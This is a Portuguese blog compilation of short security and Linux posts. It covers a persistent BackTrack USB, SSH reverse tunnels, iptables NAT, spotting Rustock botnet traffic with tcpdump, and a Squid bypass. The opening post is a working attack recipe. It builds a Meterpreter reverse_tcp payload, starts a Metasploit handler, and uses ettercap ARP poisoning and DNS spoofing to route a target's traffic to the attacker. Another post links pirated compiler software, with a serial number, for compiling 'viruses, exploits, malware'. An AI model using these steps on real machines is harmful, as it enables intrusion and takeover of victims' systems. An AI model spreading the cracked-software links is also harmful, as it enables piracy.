MITM+Conexão Reversa

Neste quick post vou mostrar como redirecionar o tráfego de uma máquina (alvo) usando a técnica de MITM para a minha máquina, onde esta rodando o metasploit (handler).

(1)
msfpayload windows/meterpreter/reverse_tcp LHOST=SeuIP LPORT=80 X > /NomeDoArquivo.exe
use multi/handler


(2)
set payload windows/meterpreter/reverse_tcp
set lhost SeuIP
set lport 80
exploit

(3)
echo 1 > /proc/sys/net/ipv4/ip_forward
ettercap -T -q -P dns_spoof -M ARP /IP_GW/ /IP_alvo/


Bom Proveito.

BackTrack Persistente

Sabe aquele pendrive com o BackTrack que você sempre usa para realizar seu Pentest? Você já imaginou como seria se toda modificação no BT que você fizesse pudesse ser definitiva? Pois é, isso é possível sim, com isso toda alteração realizada no BT será permanente e será realizada de forma transparente permitindo que você faça um backup diferencial somente das alterações realizadas.

Não vou mostrar como criar o pendrive com o BT, estou levando em consideração que você já tenha feito esse procedimento, para mais informações de como fazer isso acesse aqui.

BackTrack irá montar seu pendrive como /media/cdrom0. O BT usa o nome cdrom0 porque assume que você esta usando um LiveDVD e não um pendrive.

Vamos usar o comando mount para ver o dispositivo que foi associado ao  /media/cdrom0:

Neste caso o nosso pendrive foi associado ao arquivo /dev/sdb1 que esta montado apenas como leitura (ro), precisamos remountar o nosso dispositivo para que ele aceite escrita:

#mount -o remount,rw /media/cdrom0

Vamos criar um arquivo especial dentro do diretório raiz do pendrive chamado de casper-rw onde toda alteração feita no BT será salva nele.

Vamos usar o arquivo dd para criar esse arquivo de 500MB:

#dd if=/dev/zero of=/media/cdrom0/casper-rw bs=1M count=500

Agora vamos criar o sistema de arquivos:

#mkfs.ext3 -F /media/cdrom0/casper-rw

Pronto, agora no menu do boot perceba uma nova opção chamada "Start Persistent Live CD". Toda vez que você quiser fazer alguma alteração permanente use esta opção.

Segue abaixo um script que peguei no fórum da http://www.backtrack-linux.org para agilizar este procedimento:

#!/bin/bash
USB_PATH=none
RW_SIZE=none
clear
echo "WARNING: Before running this script, confirm that the target USB"
echo "drive has WRITE permission and it has been mounted. If you are"
echo "unsure press Ctrl+C and check before running this script again."
echo " "
sleep 3
echo "Enter the path to your mounted USB disk: (e.g. /media/disk-0):"
read USB_PATH
echo " "
echo "Enter the amount of space you want to allocate, in MB (e.g. 1024 = 1GB or 4096 = 4GB):"
read RW_SIZE
echo " "
echo "Stop all operations on target disk,"
echo "sleeping for 5 seconds before processing..." 
sleep 5
echo " "
echo "Task starting, this may take several minutes..."
dd if=/dev/zero of=/$USB_PATH/casper-rw bs=1M count=$RW_SIZE
mkfs.ext3 -F /$USB_PATH/casper-rw
echo "Task completed successfully. Reboot PC in persistent mode! :)"

Bom Proveito.

Compilando seu Source

Neste post vou mostrar como criar um ambiente necessário para você compilar seu vírus, exploit, malware  ou qualquer outro código no Windows.

Todo conteúdo foi tirado de um blog (não lembro qual).

1 - Baixe e Instale C++

http://rapidshare.com/files/21861555/msc__.rar.html


Pass: itzforblitz
Serial: 812-2224558

2 - Baixe e Instale Service Pack 6

http://www.microsoft.com/downloads/details.aspx?familyid=a8494edb-2e89-4676-a16a-5c5477cb9713&displaylang=en

3 - Baixe e Instale Windows SDK

http://rapidshare.com/files/21854411/sdk.rar.html

Pass: itzforblitz


4 - Configurando C++

Execute Microsoft Visual C++ Compilier 6.0
Vá em Tools > Options e clique em "Directories"
Vá até os diretórios abaixo e adicione-os na lista conforme ordenado

C:\PROGRAM FILES\MICROSOFT PLATFORM SDK
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\BIN
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE
C:\PROGRAM FILES\MICROSOFRT PLATFORM SDK\LIB

Pronto, agora você pode brincar.

SSH reverse tunnel

Cenário

Você precisa ajudar um amigo que possui um servidor protegido por um Firewall, O trafego de saida é liberado, mas o de entrada não é permitido, então o servidorSSH pode acessar qualquer máquina da Internet em qualquer porta, o inverso não é verdadeiro, desta forma mesmo que o servidorSSh esteja rodando o sshd na porta 22 ninguem da internet poderá acessar esse serviço se o mesmo não for liberado pelo firewall. Neste cenario estou levando em consideração que não temos acesso ao Firewall.

 servidorSSH -------> firewall --------> internet ---------> Suporte

Para resolver este problema iremos realizar uma conexão reversa usando o comando ssh. Com isso o  servidorSSH irá se conectar em uma máquina na Internet, que chamarei de Suporte, e a conexão estabelecida sera utilizada para realizar uma conexão reversa. 

No servidorSSH execute o comando abaixo:

ssh -fgNTR 2222:localhost:22 root@suporte_IP

Este comando ira acessar a máquina Suporte via SSH e disponibilizara a sua própria porta 22 usando a porta 2222.

Agora na máquina Suporte é só executar:

ssh -p2222 user@localhost

Ao se conectar na porta 2222 estaremos usando a conexão estabelicida anteriormente para se conectar na porta 22 do servidorSSH.

Digamos que você queira acessar uma aplicação que se encontra em um outro servidor, que chamaremos de servidorHTTP, apenas execute o comando abaixo no servidorSSH:

ssh -L 8000:IP_servidorHTTP:80 root@localhost

No browser da máquina Suporte execute:

http://127.0.0.1:8000

Veja um terceiro cenário no link abaixo:

http://mywiki.wooledge.org/SshTunnel

Um abraço para todos.

Entendendo IPTABLES: PREROUTING e POSTROUTING

Quando o assunto é firewall logo se pensa em usar um Linux com iptables. O que não falta são tutoriais pela Internet que ensinam como instalar e configurar um firewall no Linux usando o iptables. Infelizmente muita gente se confunde quando o assunto é a chain PREROUTING e POSTROUTING da tabelna NAT do Netfilter.

A proposta deste post é justamente explicar o que acontece com o pacote quando passa por uma dessas chains.

PREROUTING

Logo que o pacote chega ele é modificado, isso acontece antes do roteamento do pacote. É usado em regras de DNAT e Redirecionamento de porta.

Vamos analisar o cenário abaixo, onde estamos fazendo um DNAT, ou seja, toda requisição feita para o IP 200.164.30.20 na porta 80 será repassado para o IP da rede interna 192.168.2.100.

A requisição vem da Internet com destino 200.164.30.20:80.

No nosso firewall a porta 80 esta desabilitada, neste caso o pacote seria “dropado”, mas como temos essa regra de IPTABLES:

iptables -t nat -A PREROUTING -d 200.164.30.20 -p tcp --dport 80 -j DNAT --to 192.168.2.100

Neste caso todo pacote com destino 200.164.30.20:80 será repassado para 192.168.2.100:80, porém isso acontece antes de qualquer roteamento. Veja a figura abaixo que mostra o que acontece logo que o pacote chega no firewall:

Como o nosso firewall conhece a rede 192.168.2.0/24 o pacote será repassado para o IP 192.168.2.100 na porta 80. Note que o roteamento foi o último procedimento realizado. Neste caso não seria lógico realizar o roteamento primeiro já que o DST possui o mesmo IP do firewall (200.164.30.20).

POSTROUTING

Os pacotes precisam ser modificados após o roteamento. É usado em regras de SNAT e IP MASQUERADING.

Neste post vou usar o MASQUERADING para explicar como funciona o POSTROUTING.

Segue abaixo a descrição tirada do FOCALINUX do que seria o MASQUERADING:

“O IP Masquerading é um tipo especial de SNAT usado para conectar a sua rede interna a internet quando você recebe um IP dinâmico de seu provedor”.

Veja o cenário abaixo:

 

A máquina 192.168.2.100 pretende acessar a INTERNET, mas para isso é preciso ter uma regra de MASQUERADING no Firewall, onde o mesmo mascara todo acesso da máquina de origem para que saia para a Internet com o IP do próprio Firewall. A regra do iptables seria assim:

iptables -t nat -A POSTROUTING -s 192.168.2.100 -o eth0 -j MASQUERADE

A requisição vem de uma máquina interna da rede (192.168.2.100) com destino (dst) www.google.com.

Veja a figura abaixo que mostra o que acontece logo que o pacote chega no firewall:

Quando o pacote chegar no Firewall vai ser repassado para o Gateway padrão do Firewall que esta configurado na placa de rede com saída para a Internet. No segundo momento, logo depois do roteamento, o pacote bate na chain POSTROUTING da nossa regra de iptables e o mesmo é modificado para que possa navegar na Internet com um IP válido, no nosso caso o IP do Firewall (200.164.30.20).

É fundamental entender o fluxo do pacote quando o mesmo passa pelo Netfilter, Postrouting e Prerouting são chains que poucos entendem. Espero que com este post as dúvidas possam ter sido esclarecidas sobre o assunto.
 

Detectando Máquinas que fazem parte da rede Rustock

Recentemente fomos notificados que possíveis máquinas da nossa rede estaria fazendo parte da rede de botnets Rustock (1). Pesquisei pelo Google e encontrei a lista de IP's dos servidores da rede Rustock.

A lista você encontra no link abaixo:

Rustock CnC Servers: http://blog.fireeye.com/research/rustock-cnc-servers.html

Usando o tcpdump pude filtrar todo tráfego com destino aos IP's e salvar o resultado em um arquivo para que posteriormente possa ser analisado, veja o script como ficou:

#!/bin/bash 
tcpdump -nn -i any host 173.192.135.102 or host 173.192.135.98 \
or host 173.192.135.99 or host 173.208.128.50 or host 173.208.128.74 \
or host 173.208.128.82 or host 173.208.131.178 or host 173.208.131.98 \
or host 173.208.141.154 or host 173.208.143.114 or host 173.208.143.122 \
or host 173.208.143.194 or host 173.208.143.90 or host 173.208.150.90 \
or host 173.208.154.90 or host 173.208.162.2 or host 173.208.163.178 \
or host 173.208.163.242 or host 173.212.214.194 or host 173.212.241.42 or host 173.212.241.50 or host 173.212.243.114 \
or host 173.83.26.26 or host 173.83.26.34 or host 174.139.250.66 or host 174.36.237.84 or host 204.12.192.250 \
or host 204.12.217.218 or host 204.12.217.250 or host 204.12.217.42 or host 204.12.217.98 or host 204.12.220.122 \
or host 204.12.237.202 or host 204.12.243.210 or host 204.12.243.34 or host 204.12.243.42 or host 204.12.243.58 \
or host 204.12.248.66 or host 204.45.118.202 or host 204.45.118.250 or host 204.45.119.10 or host 204.45.119.18 \
or host 204.45.119.2 or host 204.45.119.26 or host 204.45.119.34 or host 204.45.119.42 or host 204.45.119.50 \
or host 204.45.119.74 or host 204.45.119.82 or host 204.45.119.90 or host 204.45.121.130 or host 204.45.121.18 \
or host 204.45.121.34 or host 204.45.121.42 or host 204.45.121.50 or host 204.45.121.58 or host 206.217.206.8 \
or host 208.101.27.108 or host 208.101.27.44 or host 208.101.27.72 or host 208.110.71.58 or host 208.110.80.50 \
or host 208.110.82.186 or host 208.43.102.220 or host 208.43.157.96 or host 208.43.17.44 or host 208.43.18.12 \
or host 208.43.31.8 or host 208.43.40.148 or host 64.120.144.69 or host 64.120.149.117 or host 64.120.153.117 \
or host 64.191.18.149 or host 64.191.38.165 or host 64.191.53.37 or host 64.191.59.245 or host 64.22.109.222 \
or host 66.197.161.181 or host 66.197.251.69 or host 66.79.162.138 or host 66.79.162.86 or host 66.79.163.102 \
or host 66.96.214.53 or host 66.96.224.213 or host 67.228.206.92 or host 69.197.144.138 or host 69.197.158.242 \
or host 69.197.158.250 or host 69.197.161.34 or host 69.50.197.191 or host 72.26.196.194 or host 74.86.210.133 \
or host 74.86.210.134 or host 76.164.194.226 or host 85.17.200.13 or host 95.211.128.25 or host 96.0.203.106 \
or host 96.0.203.114 or host 96.0.203.122 or host 96.0.203.82 or host 96.0.203.90 or host 96.0.203.98 or host 96.31.81.44 \
or host 96.45.189.178 or host 96.9.169.53 or host 96.9.180.21 or host 96.9.182.101 or host 96.9.182.197 or host 96.9.183.149 \
or host 98.126.114.50 or host 98.126.42.26 or host 98.126.76.186 or host 98.126.77.2 or host 98.141.220.194 \
or host 98.141.220.226 -w /var/log/rustock.log &

O resultado será salvo no arquivo /var/log/rustock.log. Para ler este arquivo temos que usar o tcpdump e redirecionar a saída para um arquivo:

#tcpdump -r /var/log/rustock.log > /tmp/rustock.txt

Agora já podemos manipular as informações. Dando um cat no arquivo veja o que temos:

13:40:32.613458 IP 10.123.122.254.1436 > ..www: Flags [S], seq 3547421019, win 65535, options [mss 1460,nop,nop,sackOK], length 0

Precisamos filtrar o arquivo para termos só o que nos interessa, o IP. Para isso execute o comando abaixo:

#cat /tmp/rustock.txt | cut -f3 -d" " | cut -f1-4 -d.

Agora temos a lista dos IP's que estão tentando se conectar em um dos servidores do Rustock. Agora vamos usar o comando sort para que não apareça os IP's repetidos:

#cat /tmp/rustock.txt | cut -f3 -d" " | cut -f1-4 -d. | sort -u

Agora temos a lista dos IP's que deverão ser investigados.



Referencia:

(1) http://pt.scribd.com/doc/59395728/Battling-the-Rustock-Threat

Bypass Squid com IPTABLES

Digamos que você tem uma regra redirecionando toda conexão com destino a porta 80 para a porta 3128 (squid):

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 3128

Adicione uma regra de RETURN em cima da regra de REDIRECT para fazer com que todo pacote 

TCP com destino a porta 80 e host www.bypass.com.br pare de passar pela tabela NAT e chain PREROUTING.

As regras ficariam assim:

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -d www.bypass.com.br -j RETURN

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 3128 

Com essa regra toda requisição feita para o domínio  www.bypass.com.br não passara

pelo squid.